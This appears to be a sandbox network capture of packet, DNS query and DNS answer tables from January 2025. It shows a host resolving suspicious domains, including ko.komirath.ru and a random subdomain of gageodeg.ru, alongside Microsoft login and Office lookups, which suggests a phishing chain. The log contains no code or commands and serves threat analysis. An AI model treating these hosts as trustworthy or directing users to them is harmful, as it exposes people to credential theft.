Jan 8, 2025 17:19:53.771728039 CET	53	49797	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:53.771821976 CET	49797	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:20:03.783119917 CET	60808	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:20:03.787898064 CET	53	60808	1.1.1.1	192.168.2.17
Jan 8, 2025 17:20:03.787972927 CET	60808	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:20:03.787992954 CET	60808	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:20:03.792789936 CET	53	60808	1.1.1.1	192.168.2.17
Jan 8, 2025 17:20:04.242110968 CET	53	60808	1.1.1.1	192.168.2.17
Jan 8, 2025 17:20:04.243037939 CET	60808	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:20:04.248115063 CET	53	60808	1.1.1.1	192.168.2.17
Jan 8, 2025 17:20:04.248188972 CET	60808	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:20:28.494287014 CET	60813	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:20:28.494335890 CET	443	60813	142.250.184.196	192.168.2.17
Jan 8, 2025 17:20:28.494422913 CET	60813	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:20:28.494661093 CET	60813	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:20:28.494668961 CET	443	60813	142.250.184.196	192.168.2.17
Jan 8, 2025 17:20:29.127568007 CET	443	60813	142.250.184.196	192.168.2.17
Jan 8, 2025 17:20:29.129973888 CET	60813	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:20:29.129990101 CET	443	60813	142.250.184.196	192.168.2.17
Jan 8, 2025 17:20:29.130316973 CET	443	60813	142.250.184.196	192.168.2.17
Jan 8, 2025 17:20:29.130616903 CET	60813	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:20:29.130666971 CET	443	60813	142.250.184.196	192.168.2.17
Jan 8, 2025 17:20:29.179105043 CET	60813	443	192.168.2.17	142.250.184.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 17:18:23.516591072 CET	53	59879	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:23.611603975 CET	53	62958	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:23.673600912 CET	60780	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:23.673840046 CET	62914	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:23.707793951 CET	53	60780	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:23.709531069 CET	53	62914	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:24.629492044 CET	50584	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:24.631489992 CET	54433	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:24.636318922 CET	53	50584	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:24.638537884 CET	53	54433	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:24.651261091 CET	65301	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:24.654848099 CET	59002	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:24.663606882 CET	53	59002	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:24.685237885 CET	53	65301	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:24.702435970 CET	53	59592	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:25.487330914 CET	53588	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:25.487535954 CET	57794	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:25.494803905 CET	53	53588	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:25.495229006 CET	53	57794	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:25.603972912 CET	50338	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:25.604094982 CET	64670	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:25.658210039 CET	53	64670	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:25.772295952 CET	53	50338	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:27.271383047 CET	65509	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:27.271564007 CET	64924	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:27.271848917 CET	58436	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:27.271975994 CET	54215	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:27.272217989 CET	55434	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:27.272345066 CET	49823	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:27.279125929 CET	53	65509	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:27.279436111 CET	53	58436	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:27.279445887 CET	53	55434	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:27.279695034 CET	53	64924	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:27.279704094 CET	53	54215	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:27.279736996 CET	53	49823	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:28.042030096 CET	57692	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:28.042192936 CET	58490	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:28.048907995 CET	53	57692	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:28.048929930 CET	53	58490	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:28.374779940 CET	52648	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:28.374924898 CET	61536	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:28.381496906 CET	53	52648	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:28.381743908 CET	53	61536	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:28.694169044 CET	54848	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:28.694303036 CET	50476	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:28.700841904 CET	53	54848	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:28.700855970 CET	53	50476	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:28.707214117 CET	64097	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:28.707532883 CET	50614	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:28.726592064 CET	53	50614	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:28.726610899 CET	53	64097	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:30.306910038 CET	62854	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:30.307084084 CET	55767	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:18:30.313612938 CET	53	55767	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:30.313780069 CET	53	62854	1.1.1.1	192.168.2.17
Jan 8, 2025 17:18:41.683928013 CET	53	52009	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:00.463087082 CET	53	60623	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:10.003096104 CET	54226	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:10.003237963 CET	53799	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:10.094707012 CET	53	53799	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:10.136744022 CET	53	54226	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:11.678807020 CET	51139	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:11.679095030 CET	61147	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:11.679830074 CET	53111	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:11.679999113 CET	60075	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:11.730846882 CET	53	53111	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:11.887073994 CET	53	60075	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:12.733530045 CET	65308	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:12.733649015 CET	62417	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:12.740943909 CET	53	62417	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:15.434715986 CET	55458	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:15.435007095 CET	63369	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:15.442758083 CET	53	63369	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:16.570810080 CET	64851	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:16.571104050 CET	53329	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:16.578046083 CET	53	64851	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:16.578337908 CET	53	53329	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:21.883938074 CET	53	65447	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:22.945868015 CET	53	64718	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:23.518304110 CET	53	63503	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:30.322717905 CET	62140	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:30.322860956 CET	49795	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:35.135248899 CET	138	138	192.168.2.17	192.168.2.255
Jan 8, 2025 17:19:52.692974091 CET	53	55889	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:53.394856930 CET	53	62442	1.1.1.1	192.168.2.17
Jan 8, 2025 17:20:03.782640934 CET	53	62144	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 8, 2025 17:19:11.887182951 CET	192.168.2.17	1.1.1.1	c323	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 17:18:23.673600912 CET	192.168.2.17	1.1.1.1	0x9544	Standard query (0)	ecohomethings.net	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:23.673840046 CET	192.168.2.17	1.1.1.1	0xc9aa	Standard query (0)	ecohomethings.net	65	IN (0x0001)	false
Jan 8, 2025 17:18:24.629492044 CET	192.168.2.17	1.1.1.1	0xfb6b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:24.631489992 CET	192.168.2.17	1.1.1.1	0xc289	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:24.651261091 CET	192.168.2.17	1.1.1.1	0x1ef	Standard query (0)	ecohomethings.net	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:24.654848099 CET	192.168.2.17	1.1.1.1	0x8d7a	Standard query (0)	ecohomethings.net	65	IN (0x0001)	false
Jan 8, 2025 17:18:25.487330914 CET	192.168.2.17	1.1.1.1	0xc5e3	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:25.487535954 CET	192.168.2.17	1.1.1.1	0x9f71	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:25.603972912 CET	192.168.2.17	1.1.1.1	0x1881	Standard query (0)	ko.komirath.ru	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:25.604094982 CET	192.168.2.17	1.1.1.1	0x656c	Standard query (0)	ko.komirath.ru	65	IN (0x0001)	false
Jan 8, 2025 17:18:27.271383047 CET	192.168.2.17	1.1.1.1	0x8d6d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.271564007 CET	192.168.2.17	1.1.1.1	0xa969	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:27.271848917 CET	192.168.2.17	1.1.1.1	0x2cc2	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.271975994 CET	192.168.2.17	1.1.1.1	0xdc7d	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:27.272217989 CET	192.168.2.17	1.1.1.1	0xabd3	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.272345066 CET	192.168.2.17	1.1.1.1	0x4f9a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:28.042030096 CET	192.168.2.17	1.1.1.1	0xe845	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.042192936 CET	192.168.2.17	1.1.1.1	0x8fa5	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:28.374779940 CET	192.168.2.17	1.1.1.1	0xac34	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.374924898 CET	192.168.2.17	1.1.1.1	0xd621	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:28.694169044 CET	192.168.2.17	1.1.1.1	0xafe2	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.694303036 CET	192.168.2.17	1.1.1.1	0x6d08	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:28.707214117 CET	192.168.2.17	1.1.1.1	0xbe5b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.707532883 CET	192.168.2.17	1.1.1.1	0x9d09	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 8, 2025 17:18:30.306910038 CET	192.168.2.17	1.1.1.1	0x3501	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:30.307084084 CET	192.168.2.17	1.1.1.1	0x5e35	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 8, 2025 17:19:10.003096104 CET	192.168.2.17	1.1.1.1	0xcf88	Standard query (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:10.003237963 CET	192.168.2.17	1.1.1.1	0x43f	Standard query (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru	65	IN (0x0001)	false
Jan 8, 2025 17:19:11.678807020 CET	192.168.2.17	1.1.1.1	0xd447	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.679095030 CET	192.168.2.17	1.1.1.1	0xee32	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 8, 2025 17:19:11.679830074 CET	192.168.2.17	1.1.1.1	0x8ee4	Standard query (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.679999113 CET	192.168.2.17	1.1.1.1	0x1b6d	Standard query (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru	65	IN (0x0001)	false
Jan 8, 2025 17:19:12.733530045 CET	192.168.2.17	1.1.1.1	0x770e	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:12.733649015 CET	192.168.2.17	1.1.1.1	0x446e	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 8, 2025 17:19:15.434715986 CET	192.168.2.17	1.1.1.1	0x94b7	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:15.435007095 CET	192.168.2.17	1.1.1.1	0xabed	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 8, 2025 17:19:16.570810080 CET	192.168.2.17	1.1.1.1	0x7e8c	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:16.571104050 CET	192.168.2.17	1.1.1.1	0x26d	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 8, 2025 17:19:30.322717905 CET	192.168.2.17	1.1.1.1	0x5c2b	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:30.322860956 CET	192.168.2.17	1.1.1.1	0x8c61	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 17:18:23.707793951 CET	1.1.1.1	192.168.2.17	0x9544	No error (0)	ecohomethings.net		103.83.194.55	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:24.636318922 CET	1.1.1.1	192.168.2.17	0xfb6b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:24.636318922 CET	1.1.1.1	192.168.2.17	0xfb6b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:24.638537884 CET	1.1.1.1	192.168.2.17	0xc289	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 8, 2025 17:18:24.685237885 CET	1.1.1.1	192.168.2.17	0x1ef	No error (0)	ecohomethings.net		103.83.194.55	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:25.494803905 CET	1.1.1.1	192.168.2.17	0xc5e3	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:25.494803905 CET	1.1.1.1	192.168.2.17	0xc5e3	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:25.495229006 CET	1.1.1.1	192.168.2.17	0x9f71	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 8, 2025 17:18:25.658210039 CET	1.1.1.1	192.168.2.17	0x656c	No error (0)	ko.komirath.ru			65	IN (0x0001)	false
Jan 8, 2025 17:18:25.772295952 CET	1.1.1.1	192.168.2.17	0x1881	No error (0)	ko.komirath.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:25.772295952 CET	1.1.1.1	192.168.2.17	0x1881	No error (0)	ko.komirath.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279125929 CET	1.1.1.1	192.168.2.17	0x8d6d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279125929 CET	1.1.1.1	192.168.2.17	0x8d6d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279125929 CET	1.1.1.1	192.168.2.17	0x8d6d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279125929 CET	1.1.1.1	192.168.2.17	0x8d6d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279436111 CET	1.1.1.1	192.168.2.17	0x2cc2	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279436111 CET	1.1.1.1	192.168.2.17	0x2cc2	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279445887 CET	1.1.1.1	192.168.2.17	0xabd3	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279445887 CET	1.1.1.1	192.168.2.17	0xabd3	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:27.279704094 CET	1.1.1.1	192.168.2.17	0xdc7d	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 8, 2025 17:18:27.279736996 CET	1.1.1.1	192.168.2.17	0x4f9a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 8, 2025 17:18:28.048907995 CET	1.1.1.1	192.168.2.17	0xe845	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.048907995 CET	1.1.1.1	192.168.2.17	0xe845	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.048907995 CET	1.1.1.1	192.168.2.17	0xe845	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.048907995 CET	1.1.1.1	192.168.2.17	0xe845	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.381496906 CET	1.1.1.1	192.168.2.17	0xac34	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.381743908 CET	1.1.1.1	192.168.2.17	0xd621	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 8, 2025 17:18:28.700841904 CET	1.1.1.1	192.168.2.17	0xafe2	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.700841904 CET	1.1.1.1	192.168.2.17	0xafe2	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.700855970 CET	1.1.1.1	192.168.2.17	0x6d08	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 8, 2025 17:18:28.726592064 CET	1.1.1.1	192.168.2.17	0x9d09	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 8, 2025 17:18:28.726610899 CET	1.1.1.1	192.168.2.17	0xbe5b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:28.726610899 CET	1.1.1.1	192.168.2.17	0xbe5b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:18:30.313780069 CET	1.1.1.1	192.168.2.17	0x3501	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:10.094707012 CET	1.1.1.1	192.168.2.17	0x43f	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru			65	IN (0x0001)	false
Jan 8, 2025 17:19:10.136744022 CET	1.1.1.1	192.168.2.17	0xcf88	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:10.136744022 CET	1.1.1.1	192.168.2.17	0xcf88	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:10.136744022 CET	1.1.1.1	192.168.2.17	0xcf88	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:10.136744022 CET	1.1.1.1	192.168.2.17	0xcf88	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:10.136744022 CET	1.1.1.1	192.168.2.17	0xcf88	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:10.136744022 CET	1.1.1.1	192.168.2.17	0xcf88	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:10.136744022 CET	1.1.1.1	192.168.2.17	0xcf88	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.685599089 CET	1.1.1.1	192.168.2.17	0xd447	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:11.686177969 CET	1.1.1.1	192.168.2.17	0xee32	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:11.730846882 CET	1.1.1.1	192.168.2.17	0x8ee4	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.730846882 CET	1.1.1.1	192.168.2.17	0x8ee4	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.730846882 CET	1.1.1.1	192.168.2.17	0x8ee4	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.730846882 CET	1.1.1.1	192.168.2.17	0x8ee4	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.730846882 CET	1.1.1.1	192.168.2.17	0x8ee4	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.730846882 CET	1.1.1.1	192.168.2.17	0x8ee4	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.730846882 CET	1.1.1.1	192.168.2.17	0x8ee4	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:11.887073994 CET	1.1.1.1	192.168.2.17	0x1b6d	No error (0)	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru			65	IN (0x0001)	false
Jan 8, 2025 17:19:12.740287066 CET	1.1.1.1	192.168.2.17	0x770e	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:12.740287066 CET	1.1.1.1	192.168.2.17	0x770e	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:12.740943909 CET	1.1.1.1	192.168.2.17	0x446e	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:12.740943909 CET	1.1.1.1	192.168.2.17	0x446e	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:13.955070019 CET	1.1.1.1	192.168.2.17	0x19db	No error (0)	shed.dual-low.s-part-0033.t-0009.t-msedge.net	s-part-0033.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:13.955070019 CET	1.1.1.1	192.168.2.17	0x19db	No error (0)	s-part-0033.t-0009.t-msedge.net		13.107.246.61	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:15.415853024 CET	1.1.1.1	192.168.2.17	0x8ea4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:15.415853024 CET	1.1.1.1	192.168.2.17	0x8ea4	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:15.415853024 CET	1.1.1.1	192.168.2.17	0x8ea4	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:15.441920042 CET	1.1.1.1	192.168.2.17	0x94b7	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:15.441920042 CET	1.1.1.1	192.168.2.17	0x94b7	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:15.442758083 CET	1.1.1.1	192.168.2.17	0xabed	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:15.442758083 CET	1.1.1.1	192.168.2.17	0xabed	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
